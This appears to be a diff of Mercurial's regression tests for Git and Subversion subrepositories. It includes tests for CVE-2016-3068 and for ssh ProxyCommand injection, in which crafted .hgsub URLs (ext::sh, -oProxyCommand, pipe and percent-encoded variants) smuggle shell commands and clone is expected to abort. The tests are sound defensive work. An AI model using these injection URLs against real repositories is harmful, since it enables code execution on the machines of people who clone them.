1142 1142 test for Git CVE-2016-3068
1143 1143 $ hg init malicious-subrepository
1144 1144 $ cd malicious-subrepository
1145 1145 $ echo "s = [git]ext::sh -c echo% pwned:% \$PWNED_MSG% >pwned.txt" > .hgsub
1146 1146 $ git init s
1147 1147 Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
1148 1148 $ cd s
1149 1149 $ git commit --allow-empty -m 'empty'
1150 1150 [master (root-commit) 153f934] empty
1151 1151 $ cd ..
1152 1152 $ hg add .hgsub
1153 1153 $ hg commit -m "add subrepo"
1154 1154 $ cd ..
1155 1155 $ rm -f pwned.txt
1156 1156 $ unset GIT_ALLOW_PROTOCOL
1157 1157 $ PWNED_MSG="your git is too old or mercurial has regressed" hg clone \
1158 1158 > malicious-subrepository malicious-subrepository-protected
1159 1159 Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... (glob)
1160 1160 fatal: transport 'ext' not allowed
1161 1161 updating to branch default
1162 1162 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1163 1163 abort: git clone error 128 in s (in subrepository "s")
1164 1164 [255]
1165 1165 $ f -Dq pwned.txt
1166 1166 pwned.txt: file not found
1167 1167
1168 1168 whitelisting of ext should be respected (that's the git submodule behaviour)
1169 1169 $ rm -f pwned.txt
1170 1170 $ env GIT_ALLOW_PROTOCOL=ext PWNED_MSG="you asked for it" hg clone \
1171 1171 > malicious-subrepository malicious-subrepository-clone-allowed
1172 1172 Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... (glob)
1173 1173 fatal: Could not read from remote repository.
1174 1174
1175 1175 Please make sure you have the correct access rights
1176 1176 and the repository exists.
1177 1177 updating to branch default
1178 1178 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1179 1179 abort: git clone error 128 in s (in subrepository "s")
1180 1180 [255]
1181 1181 $ f -Dq pwned.txt
1182 1182 pwned: you asked for it
1183 1183
1184 1184 #endif
1185 1185
1186 1186 test for ssh exploit with git subrepos 2017-07-25
1187 1187
1188 1188 $ hg init malicious-proxycommand
1189 1189 $ cd malicious-proxycommand
1190 1190 $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
1191 1191 $ git init s
1192 1192 Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
1193 1193 $ cd s
1194 1194 $ git commit --allow-empty -m 'empty'
1195 1195 [master (root-commit) 153f934] empty
1196 1196 $ cd ..
1197 1197 $ hg add .hgsub
1198 1198 $ hg ci -m 'add subrepo'
1199 1199 $ cd ..
1200 1200 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1201 1201 updating to branch default
1202 1202 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1203 1203 [255]
1204 1204
1205 1205 also check that a percent encoded '-' (%2D) doesn't work
1206 1206
1207 1207 $ cd malicious-proxycommand
1208 1208 $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
1209 1209 $ hg ci -m 'change url to percent encoded'
1210 1210 $ cd ..
1211 1211 $ rm -r malicious-proxycommand-clone
1212 1212 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1213 1213 updating to branch default
1214 1214 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1215 1215 [255]
1216
1217 also check for a pipe
1218
1219 $ cd malicious-proxycommand
1220 $ echo 's = [git]ssh://fakehost|shell/path' > .hgsub
1221 $ hg ci -m 'change url to pipe'
1222 $ cd ..
1223 $ rm -r malicious-proxycommand-clone
1224 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1225 updating to branch default
1226 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepository "s")
1227 [255]
1228
1229 also check that a percent encoded '|' (%7C) doesn't work
1230
1231 $ cd malicious-proxycommand
1232 $ echo 's = [git]ssh://fakehost%7Cshell/path' > .hgsub
1233 $ hg ci -m 'change url to percent encoded'
1234 $ cd ..
1235 $ rm -r malicious-proxycommand-clone
1236 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1237 updating to branch default
1238 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepository "s")
1239 [255]
@@ -1,705 +1,681
1 1 #require svn15
2 2
3 3 $ SVNREPOPATH=`pwd`/svn-repo
4 4 #if windows
5 5 $ SVNREPOURL=file:///`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
6 6 #else
7 7 $ SVNREPOURL=file://`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
8 8 #endif
9 9
10 10 $ filter_svn_output () {
11 11 > egrep -v 'Committing|Transmitting|Updating|(^$)' || true
12 12 > }
13 13
14 14 create subversion repo
15 15
16 16 $ WCROOT="`pwd`/svn-wc"
17 17 $ svnadmin create svn-repo
18 18 $ svn co "$SVNREPOURL" svn-wc
19 19 Checked out revision 0.
20 20 $ cd svn-wc
21 21 $ mkdir src
22 22 $ echo alpha > src/alpha
23 23 $ svn add src
24 24 A src
25 25 A src/alpha (glob)
26 26 $ mkdir externals
27 27 $ echo other > externals/other
28 28 $ svn add externals
29 29 A externals
30 30 A externals/other (glob)
31 31 $ svn ci -qm 'Add alpha'
32 32 $ svn up -q
33 33 $ echo "externals -r1 $SVNREPOURL/externals" > extdef
34 34 $ svn propset -F extdef svn:externals src
35 35 property 'svn:externals' set on 'src'
36 36 $ svn ci -qm 'Setting externals'
37 37 $ cd ..
38 38
39 39 create hg repo
40 40
41 41 $ mkdir sub
42 42 $ cd sub
43 43 $ hg init t
44 44 $ cd t
45 45
46 46 first revision, no sub
47 47
48 48 $ echo a > a
49 49 $ hg ci -Am0
50 50 adding a
51 51
52 52 add first svn sub with leading whitespaces
53 53
54 54 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
55 55 $ echo "subdir/s = [svn] $SVNREPOURL/src" >> .hgsub
56 56 $ svn co --quiet "$SVNREPOURL"/src s
57 57 $ mkdir subdir
58 58 $ svn co --quiet "$SVNREPOURL"/src subdir/s
59 59 $ hg add .hgsub
60 60 $ hg ci -m1
61 61
62 62 make sure we avoid empty commits (issue2445)
63 63
64 64 $ hg sum
65 65 parent: 1:* tip (glob)
66 66 1
67 67 branch: default
68 68 commit: (clean)
69 69 update: (current)
70 70 phases: 2 draft
71 71 $ hg ci -moops
72 72 nothing changed
73 73 [1]
74 74
75 75 debugsub
76 76
77 77 $ hg debugsub
78 78 path s
79 79 source file://*/svn-repo/src (glob)
80 80 revision 2
81 81 path subdir/s
82 82 source file://*/svn-repo/src (glob)
83 83 revision 2
84 84
85 85 change file in svn and hg, commit
86 86
87 87 $ echo a >> a
88 88 $ echo alpha >> s/alpha
89 89 $ hg sum
90 90 parent: 1:* tip (glob)
91 91 1
92 92 branch: default
93 93 commit: 1 modified, 1 subrepos
94 94 update: (current)
95 95 phases: 2 draft
96 96 $ hg commit --subrepos -m 'Message!' | filter_svn_output
97 97 committing subrepository s
98 98 Sending*s/alpha (glob)
99 99 Committed revision 3.
100 100 Fetching external item into '*s/externals'* (glob)
101 101 External at revision 1.
102 102 At revision 3.
103 103 $ hg debugsub
104 104 path s
105 105 source file://*/svn-repo/src (glob)
106 106 revision 3
107 107 path subdir/s
108 108 source file://*/svn-repo/src (glob)
109 109 revision 2
110 110
111 111 missing svn file, commit should fail
112 112
113 113 $ rm s/alpha
114 114 $ hg commit --subrepos -m 'abort on missing file'
115 115 committing subrepository s
116 116 abort: cannot commit missing svn entries (in subrepository "s")
117 117 [255]
118 118 $ svn revert s/alpha > /dev/null
119 119
120 120 add an unrelated revision in svn and update the subrepo to without
121 121 bringing any changes.
122 122
123 123 $ svn mkdir "$SVNREPOURL/unrelated" -qm 'create unrelated'
124 124 $ svn up -q s
125 125 $ hg sum
126 126 parent: 2:* tip (glob)
127 127 Message!
128 128 branch: default
129 129 commit: (clean)
130 130 update: (current)
131 131 phases: 3 draft
132 132
133 133 $ echo a > s/a
134 134
135 135 should be empty despite change to s/a
136 136
137 137 $ hg st
138 138
139 139 add a commit from svn
140 140
141 141 $ cd "$WCROOT/src"
142 142 $ svn up -q
143 143 $ echo xyz >> alpha
144 144 $ svn propset svn:mime-type 'text/xml' alpha
145 145 property 'svn:mime-type' set on 'alpha'
146 146 $ svn ci -qm 'amend a from svn'
147 147 $ cd ../../sub/t
148 148
149 149 this commit from hg will fail
150 150
151 151 $ echo zzz >> s/alpha
152 152 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
153 153 committing subrepository s
154 154 abort: svn:*Commit failed (details follow): (glob)
155 155 [255]
156 156 $ svn revert -q s/alpha
157 157
158 158 this commit fails because of meta changes
159 159
160 160 $ svn propset svn:mime-type 'text/html' s/alpha
161 161 property 'svn:mime-type' set on 's/alpha' (glob)
162 162 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
163 163 committing subrepository s
164 164 abort: svn:*Commit failed (details follow): (glob)
165 165 [255]
166 166 $ svn revert -q s/alpha
167 167
168 168 this commit fails because of externals changes
169 169
170 170 $ echo zzz > s/externals/other
171 171 $ hg ci --subrepos -m 'amend externals from hg'
172 172 committing subrepository s
173 173 abort: cannot commit svn externals (in subrepository "s")
174 174 [255]
175 175 $ hg diff --subrepos -r 1:2 | grep -v diff
176 176 --- a/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
177 177 +++ b/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
178 178 @@ -1,2 +1,2 @@
179 179 -2 s
180 180 +3 s
181 181 2 subdir/s
182 182 --- a/a Thu Jan 01 00:00:00 1970 +0000
183 183 +++ b/a Thu Jan 01 00:00:00 1970 +0000
184 184 @@ -1,1 +1,2 @@
185 185 a
186 186 +a
187 187 $ svn revert -q s/externals/other
188 188
189 189 this commit fails because of externals meta changes
190 190
191 191 $ svn propset svn:mime-type 'text/html' s/externals/other
192 192 property 'svn:mime-type' set on 's/externals/other' (glob)
193 193 $ hg ci --subrepos -m 'amend externals from hg'
194 194 committing subrepository s
195 195 abort: cannot commit svn externals (in subrepository "s")
196 196 [255]
197 197 $ svn revert -q s/externals/other
198 198
199 199 clone
200 200
201 201 $ cd ..
202 202 $ hg clone t tc
203 203 updating to branch default
204 204 A tc/s/alpha (glob)
205 205 U tc/s (glob)
206 206
207 207 Fetching external item into 'tc/s/externals'* (glob)
208 208 A tc/s/externals/other (glob)
209 209 Checked out external at revision 1.
210 210
211 211 Checked out revision 3.
212 212 A tc/subdir/s/alpha (glob)
213 213 U tc/subdir/s (glob)
214 214
215 215 Fetching external item into 'tc/subdir/s/externals'* (glob)
216 216 A tc/subdir/s/externals/other (glob)
217 217 Checked out external at revision 1.
218 218
219 219 Checked out revision 2.
220 220 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
221 221 $ cd tc
222 222
223 223 debugsub in clone
224 224
225 225 $ hg debugsub
226 226 path s
227 227 source file://*/svn-repo/src (glob)
228 228 revision 3
229 229 path subdir/s
230 230 source file://*/svn-repo/src (glob)
231 231 revision 2
232 232
233 233 verify subrepo is contained within the repo directory
234 234
235 235 $ $PYTHON -c "import os.path; print os.path.exists('s')"
236 236 True
237 237
238 238 update to nullrev (must delete the subrepo)
239 239
240 240 $ hg up null
241 241 0 files updated, 0 files merged, 3 files removed, 0 files unresolved
242 242 $ ls
243 243
244 244 Check hg update --clean
245 245 $ cd "$TESTTMP/sub/t"
246 246 $ cd s
247 247 $ echo c0 > alpha
248 248 $ echo c1 > f1
249 249 $ echo c1 > f2
250 250 $ svn add f1 -q
251 251 $ svn status | sort
252 252
253 253 ? * a (glob)
254 254 ? * f2 (glob)
255 255 A * f1 (glob)
256 256 M * alpha (glob)
257 257 Performing status on external item at 'externals'* (glob)
258 258 X * externals (glob)
259 259 $ cd ../..
260 260 $ hg -R t update -C
261 261
262 262 Fetching external item into 't/s/externals'* (glob)
263 263 Checked out external at revision 1.
264 264
265 265 Checked out revision 3.
266 266 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
267 267 $ cd t/s
268 268 $ svn status | sort
269 269
270 270 ? * a (glob)
271 271 ? * f1 (glob)
272 272 ? * f2 (glob)
273 273 Performing status on external item at 'externals'* (glob)
274 274 X * externals (glob)
275 275
276 276 Sticky subrepositories, no changes
277 277 $ cd "$TESTTMP/sub/t"
278 278 $ hg id -n
279 279 2
280 280 $ cd s
281 281 $ svnversion
282 282 3
283 283 $ cd ..
284 284 $ hg update 1
285 285 U *s/alpha (glob)
286 286
287 287 Fetching external item into '*s/externals'* (glob)
288 288 Checked out external at revision 1.
289 289
290 290 Checked out revision 2.
291 291 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
292 292 $ hg id -n
293 293 1
294 294 $ cd s
295 295 $ svnversion
296 296 2
297 297 $ cd ..
298 298
299 299 Sticky subrepositories, file changes
300 300 $ touch s/f1
301 301 $ cd s
302 302 $ svn add f1
303 303 A f1
304 304 $ cd ..
305 305 $ hg id -n
306 306 1+
307 307 $ cd s
308 308 $ svnversion
309 309 2M
310 310 $ cd ..
311 311 $ hg update tip
312 312 subrepository s diverged (local revision: 2, remote revision: 3)
313 313 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
314 314 subrepository sources for s differ
315 315 use (l)ocal source (2) or (r)emote source (3)? l
316 316 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
317 317 $ hg id -n
318 318 2+
319 319 $ cd s
320 320 $ svnversion
321 321 2M
322 322 $ cd ..
323 323 $ hg update --clean tip
324 324 U *s/alpha (glob)
325 325
326 326 Fetching external item into '*s/externals'* (glob)
327 327 Checked out external at revision 1.
328 328
329 329 Checked out revision 3.
330 330 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
331 331
332 332 Sticky subrepository, revision updates
333 333 $ hg id -n
334 334 2
335 335 $ cd s
336 336 $ svnversion
337 337 3
338 338 $ cd ..
339 339 $ cd s
340 340 $ svn update -qr 1
341 341 $ cd ..
342 342 $ hg update 1
343 343 subrepository s diverged (local revision: 3, remote revision: 2)
344 344 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
345 345 subrepository sources for s differ (in checked out version)
346 346 use (l)ocal source (1) or (r)emote source (2)? l
347 347 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
348 348 $ hg id -n
349 349 1+
350 350 $ cd s
351 351 $ svnversion
352 352 1
353 353 $ cd ..
354 354
355 355 Sticky subrepository, file changes and revision updates
356 356 $ touch s/f1
357 357 $ cd s
358 358 $ svn add f1
359 359 A f1
360 360 $ svnversion
361 361 1M
362 362 $ cd ..
363 363 $ hg id -n
364 364 1+
365 365 $ hg update tip
366 366 subrepository s diverged (local revision: 3, remote revision: 3)
367 367 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
368 368 subrepository sources for s differ
369 369 use (l)ocal source (1) or (r)emote source (3)? l
370 370 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
371 371 $ hg id -n
372 372 2+
373 373 $ cd s
374 374 $ svnversion
375 375 1M
376 376 $ cd ..
377 377
378 378 Sticky repository, update --clean
379 379 $ hg update --clean tip | grep -v 's[/\]externals[/\]other'
380 380 U *s/alpha (glob)
381 381 U *s (glob)
382 382
383 383 Fetching external item into '*s/externals'* (glob)
384 384 Checked out external at revision 1.
385 385
386 386 Checked out revision 3.
387 387 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
388 388 $ hg id -n
389 389 2
390 390 $ cd s
391 391 $ svnversion
392 392 3
393 393 $ cd ..
394 394
395 395 Test subrepo already at intended revision:
396 396 $ cd s
397 397 $ svn update -qr 2
398 398 $ cd ..
399 399 $ hg update 1
400 400 subrepository s diverged (local revision: 3, remote revision: 2)
401 401 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
402 402 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
403 403 $ hg id -n
404 404 1+
405 405 $ cd s
406 406 $ svnversion
407 407 2
408 408 $ cd ..
409 409
410 410 Test case where subversion would fail to update the subrepo because there
411 411 are unknown directories being replaced by tracked ones (happens with rebase).
412 412
413 413 $ cd "$WCROOT/src"
414 414 $ mkdir dir
415 415 $ echo epsilon.py > dir/epsilon.py
416 416 $ svn add dir
417 417 A dir
418 418 A dir/epsilon.py (glob)
419 419 $ svn ci -qm 'Add dir/epsilon.py'
420 420 $ cd ../..
421 421 $ hg init rebaserepo
422 422 $ cd rebaserepo
423 423 $ svn co -r5 --quiet "$SVNREPOURL"/src s
424 424 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
425 425 $ hg add .hgsub
426 426 $ hg ci -m addsub
427 427 $ echo a > a
428 428 $ hg add .
429 429 adding a
430 430 $ hg ci -m adda
431 431 $ hg up 0
432 432 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
433 433 $ svn up -qr6 s
434 434 $ hg ci -m updatesub
435 435 created new head
436 436 $ echo pyc > s/dir/epsilon.pyc
437 437 $ hg up 1
438 438 D *s/dir (glob)
439 439
440 440 Fetching external item into '*s/externals'* (glob)
441 441 Checked out external at revision 1.
442 442
443 443 Checked out revision 5.
444 444 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
445 445 $ hg up -q 2
446 446
447 447 Modify one of the externals to point to a different path so we can
448 448 test having obstructions when switching branches on checkout:
449 449 $ hg checkout tip
450 450 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
451 451 $ echo "obstruct = [svn] $SVNREPOURL/externals" >> .hgsub
452 452 $ svn co -r5 --quiet "$SVNREPOURL"/externals obstruct
453 453 $ hg commit -m 'Start making obstructed working copy'
454 454 $ hg book other
455 455 $ hg co -r 'p1(tip)'
456 456 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
457 457 (leaving bookmark other)
458 458 $ echo "obstruct = [svn] $SVNREPOURL/src" >> .hgsub
459 459 $ svn co -r5 --quiet "$SVNREPOURL"/src obstruct
460 460 $ hg commit -m 'Other branch which will be obstructed'
461 461 created new head
462 462
463 463 Switching back to the head where we have another path mapped to the
464 464 same subrepo should work if the subrepo is clean.
465 465 $ hg co other
466 466 A *obstruct/other (glob)
467 467 Checked out revision 1.
468 468 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
469 469 (activating bookmark other)
470 470
471 471 This is surprising, but is also correct based on the current code:
472 472 $ echo "updating should (maybe) fail" > obstruct/other
473 473 $ hg co tip
474 474 abort: uncommitted changes
475 475 (commit or update --clean to discard changes)
476 476 [255]
477 477
478 478 Point to a Subversion branch which has since been deleted and recreated
479 479 First, create that condition in the repository.
480 480
481 481 $ hg ci --subrepos -m cleanup | filter_svn_output
482 482 committing subrepository obstruct
483 483 Sending obstruct/other (glob)
484 484 Committed revision 7.
485 485 At revision 7.
486 486 $ svn mkdir -qm "baseline" $SVNREPOURL/trunk
487 487 $ svn copy -qm "initial branch" $SVNREPOURL/trunk $SVNREPOURL/branch
488 488 $ svn co --quiet "$SVNREPOURL"/branch tempwc
489 489 $ cd tempwc
490 490 $ echo "something old" > somethingold
491 491 $ svn add somethingold
492 492 A somethingold
493 493 $ svn ci -qm 'Something old'
494 494 $ svn rm -qm "remove branch" $SVNREPOURL/branch
495 495 $ svn copy -qm "recreate branch" $SVNREPOURL/trunk $SVNREPOURL/branch
496 496 $ svn up -q
497 497 $ echo "something new" > somethingnew
498 498 $ svn add somethingnew
499 499 A somethingnew
500 500 $ svn ci -qm 'Something new'
501 501 $ cd ..
502 502 $ rm -rf tempwc
503 503 $ svn co "$SVNREPOURL/branch"@10 recreated
504 504 A recreated/somethingold (glob)
505 505 Checked out revision 10.
506 506 $ echo "recreated = [svn] $SVNREPOURL/branch" >> .hgsub
507 507 $ hg ci -m addsub
508 508 $ cd recreated
509 509 $ svn up -q
510 510 $ cd ..
511 511 $ hg ci -m updatesub
512 512 $ hg up -r-2
513 513 D *recreated/somethingnew (glob)
514 514 A *recreated/somethingold (glob)
515 515 Checked out revision 10.
516 516 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
517 517 (leaving bookmark other)
518 518 $ test -f recreated/somethingold
519 519
520 520 Test archive
521 521
522 522 $ hg archive -S ../archive-all --debug --config progress.debug=true
523 523 archiving: 0/2 files (0.00%)
524 524 archiving: .hgsub 1/2 files (50.00%)
525 525 archiving: .hgsubstate 2/2 files (100.00%)
526 526 archiving (obstruct): 0/1 files (0.00%)
527 527 archiving (obstruct): 1/1 files (100.00%)
528 528 archiving (recreated): 0/1 files (0.00%)
529 529 archiving (recreated): 1/1 files (100.00%)
530 530 archiving (s): 0/2 files (0.00%)
531 531 archiving (s): 1/2 files (50.00%)
532 532 archiving (s): 2/2 files (100.00%)
533 533
534 534 $ hg archive -S ../archive-exclude --debug --config progress.debug=true -X **old
535 535 archiving: 0/2 files (0.00%)
536 536 archiving: .hgsub 1/2 files (50.00%)
537 537 archiving: .hgsubstate 2/2 files (100.00%)
538 538 archiving (obstruct): 0/1 files (0.00%)
539 539 archiving (obstruct): 1/1 files (100.00%)
540 540 archiving (recreated): 0 files
541 541 archiving (s): 0/2 files (0.00%)
542 542 archiving (s): 1/2 files (50.00%)
543 543 archiving (s): 2/2 files (100.00%)
544 544 $ find ../archive-exclude | sort
545 545 ../archive-exclude
546 546 ../archive-exclude/.hg_archival.txt
547 547 ../archive-exclude/.hgsub
548 548 ../archive-exclude/.hgsubstate
549 549 ../archive-exclude/obstruct
550 550 ../archive-exclude/obstruct/other
551 551 ../archive-exclude/s
552 552 ../archive-exclude/s/alpha
553 553 ../archive-exclude/s/dir
554 554 ../archive-exclude/s/dir/epsilon.py
555 555
556 556 Test forgetting files, not implemented in svn subrepo, used to
557 557 traceback
558 558
559 559 #if no-windows
560 560 $ hg forget 'notafile*'
561 561 notafile*: No such file or directory
562 562 [1]
563 563 #else
564 564 $ hg forget 'notafile'
565 565 notafile: * (glob)
566 566 [1]
567 567 #endif
568 568
569 569 Test a subrepo referencing a just moved svn path. Last commit rev will
570 570 be different from the revision, and the path will be different as
571 571 well.
572 572
573 573 $ cd "$WCROOT"
574 574 $ svn up > /dev/null
575 575 $ mkdir trunk/subdir branches
576 576 $ echo a > trunk/subdir/a
577 577 $ svn add trunk/subdir branches
578 578 A trunk/subdir (glob)
579 579 A trunk/subdir/a (glob)
580 580 A branches
581 581 $ svn ci -qm addsubdir
582 582 $ svn cp -qm branchtrunk $SVNREPOURL/trunk $SVNREPOURL/branches/somebranch
583 583 $ cd ..
584 584
585 585 $ hg init repo2
586 586 $ cd repo2
587 587 $ svn co $SVNREPOURL/branches/somebranch/subdir
588 588 A subdir/a (glob)
589 589 Checked out revision 15.
590 590 $ echo "subdir = [svn] $SVNREPOURL/branches/somebranch/subdir" > .hgsub
591 591 $ hg add .hgsub
592 592 $ hg ci -m addsub
593 593 $ hg up null
594 594 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
595 595 $ hg up
596 596 A *subdir/a (glob)
597 597 Checked out revision 15.
598 598 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
599 599 $ cd ..
600 600
601 601 Test sanitizing ".hg/hgrc" in subrepo
602 602
603 603 $ cd sub/t
604 604 $ hg update -q -C tip
605 605 $ cd s
606 606 $ mkdir .hg
607 607 $ echo '.hg/hgrc in svn repo' > .hg/hgrc
608 608 $ mkdir -p sub/.hg
609 609 $ echo 'sub/.hg/hgrc in svn repo' > sub/.hg/hgrc
610 610 $ svn add .hg sub
611 611 A .hg
612 612 A .hg/hgrc (glob)
613 613 A sub
614 614 A sub/.hg (glob)
615 615 A sub/.hg/hgrc (glob)
616 616 $ svn ci -qm 'add .hg/hgrc to be sanitized at hg update'
617 617 $ svn up -q
618 618 $ cd ..
619 619 $ hg commit -S -m 'commit with svn revision including .hg/hgrc'
620 620 $ grep ' s$' .hgsubstate
621 621 16 s
622 622 $ cd ..
623 623
624 624 $ hg -R tc pull -u -q 2>&1 | sort
625 625 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/.hg' (glob)
626 626 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/sub/.hg' (glob)
627 627 $ cd tc
628 628 $ grep ' s$' .hgsubstate
629 629 16 s
630 630 $ test -f s/.hg/hgrc
631 631 [1]
632 632 $ test -f s/sub/.hg/hgrc
633 633 [1]
634 634
635 635 Test that sanitizing is omitted in meta data area:
636 636
637 637 $ mkdir s/.svn/.hg
638 638 $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc
639 639 $ hg update -q -C '.^1'
640 640
641 641 $ cd ../..
642 642
643 643 SEC: test for ssh exploit
644 644
645 645 $ hg init ssh-vuln
646 646 $ cd ssh-vuln
647 647 $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
648 648 $ svn co --quiet "$SVNREPOURL"/src s
649 649 $ hg add .hgsub
650 650 $ hg ci -m1
651 651 $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
652 652 $ hg ci -m2
653 653 $ cd ..
654 654 $ hg clone ssh-vuln ssh-vuln-clone
655 655 updating to branch default
656 656 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
657 657 [255]
658 658
659 659 also check that a percent encoded '-' (%2D) doesn't work
660 660
661 661 $ cd ssh-vuln
662 662 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
663 663 $ hg ci -m3
664 664 $ cd ..
665 665 $ rm -r ssh-vuln-clone
666 666 $ hg clone ssh-vuln ssh-vuln-clone
667 667 updating to branch default
668 668 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
669 669 [255]
670 670
671 also check for a pipe
672
673 $ cd ssh-vuln
674 $ echo "s = [svn]svn+ssh://fakehost|sh%20nested" > .hgsub
675 $ hg ci -m3
676 $ cd ..
677 $ rm -r ssh-vuln-clone
678 $ hg clone ssh-vuln ssh-vuln-clone
679 updating to branch default
680 abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepository "s")
681 [255]
682
683 also check that a percent encoded '|' (%7C) doesn't work
684
685 $ cd ssh-vuln
686 $ echo "s = [svn]svn+ssh://fakehost%7Csh%20nested" > .hgsub
687 $ hg ci -m3
688 $ cd ..
689 $ rm -r ssh-vuln-clone
690 $ hg clone ssh-vuln ssh-vuln-clone
691 updating to branch default
692 abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepository "s")
693 [255]
694
695 671 also check that hiding the attack in the username doesn't work:
696 672
697 673 $ cd ssh-vuln
698 674 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
699 675 $ hg ci -m3
700 676 $ cd ..
701 677 $ rm -r ssh-vuln-clone
702 678 $ hg clone ssh-vuln ssh-vuln-clone
703 679 updating to branch default
704 680 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s")
705 681 [255]
@@ -1,1858 +1,1865
1 1 Let commit recurse into subrepos by default to match pre-2.0 behavior:
2 2
3 3 $ echo "[ui]" >> $HGRCPATH
4 4 $ echo "commitsubrepos = Yes" >> $HGRCPATH
5 5
6 6 $ hg init t
7 7 $ cd t
8 8
9 9 first revision, no sub
10 10
11 11 $ echo a > a
12 12 $ hg ci -Am0
13 13 adding a
14 14
15 15 add first sub
16 16
17 17 $ echo s = s > .hgsub
18 18 $ hg add .hgsub
19 19 $ hg init s
20 20 $ echo a > s/a
21 21
22 22 Issue2232: committing a subrepo without .hgsub
23 23
24 24 $ hg ci -mbad s
25 25 abort: can't commit subrepos without .hgsub
26 26 [255]
27 27
28 28 $ hg -R s add s/a
29 29 $ hg files -S
30 30 .hgsub
31 31 a
32 32 s/a (glob)
33 33
34 34 $ hg -R s ci -Ams0
35 35 $ hg sum
36 36 parent: 0:f7b1eb17ad24 tip
37 37 0
38 38 branch: default
39 39 commit: 1 added, 1 subrepos
40 40 update: (current)
41 41 phases: 1 draft
42 42 $ hg ci -m1
43 43
44 44 test handling .hgsubstate "added" explicitly.
45 45
46 46 $ hg parents --template '{node}\n{files}\n'
47 47 7cf8cfea66e410e8e3336508dfeec07b3192de51
48 48 .hgsub .hgsubstate
49 49 $ hg rollback -q
50 50 $ hg add .hgsubstate
51 51 $ hg ci -m1
52 52 $ hg parents --template '{node}\n{files}\n'
53 53 7cf8cfea66e410e8e3336508dfeec07b3192de51
54 54 .hgsub .hgsubstate
55 55
56 56 Subrepopath which overlaps with filepath, does not change warnings in remove()
57 57
58 58 $ mkdir snot
59 59 $ touch snot/file
60 60 $ hg remove -S snot/file
61 61 not removing snot/file: file is untracked (glob)
62 62 [1]
63 63 $ hg cat snot/filenot
64 64 snot/filenot: no such file in rev 7cf8cfea66e4 (glob)
65 65 [1]
66 66 $ rm -r snot
67 67
68 68 Revert subrepo and test subrepo fileset keyword:
69 69
70 70 $ echo b > s/a
71 71 $ hg revert --dry-run "set:subrepo('glob:s*')"
72 72 reverting subrepo s
73 73 reverting s/a (glob)
74 74 $ cat s/a
75 75 b
76 76 $ hg revert "set:subrepo('glob:s*')"
77 77 reverting subrepo s
78 78 reverting s/a (glob)
79 79 $ cat s/a
80 80 a
81 81 $ rm s/a.orig
82 82
83 83 Revert subrepo with no backup. The "reverting s/a" line is gone since
84 84 we're really running 'hg update' in the subrepo:
85 85
86 86 $ echo b > s/a
87 87 $ hg revert --no-backup s
88 88 reverting subrepo s
89 89
90 90 Issue2022: update -C
91 91
92 92 $ echo b > s/a
93 93 $ hg sum
94 94 parent: 1:7cf8cfea66e4 tip
95 95 1
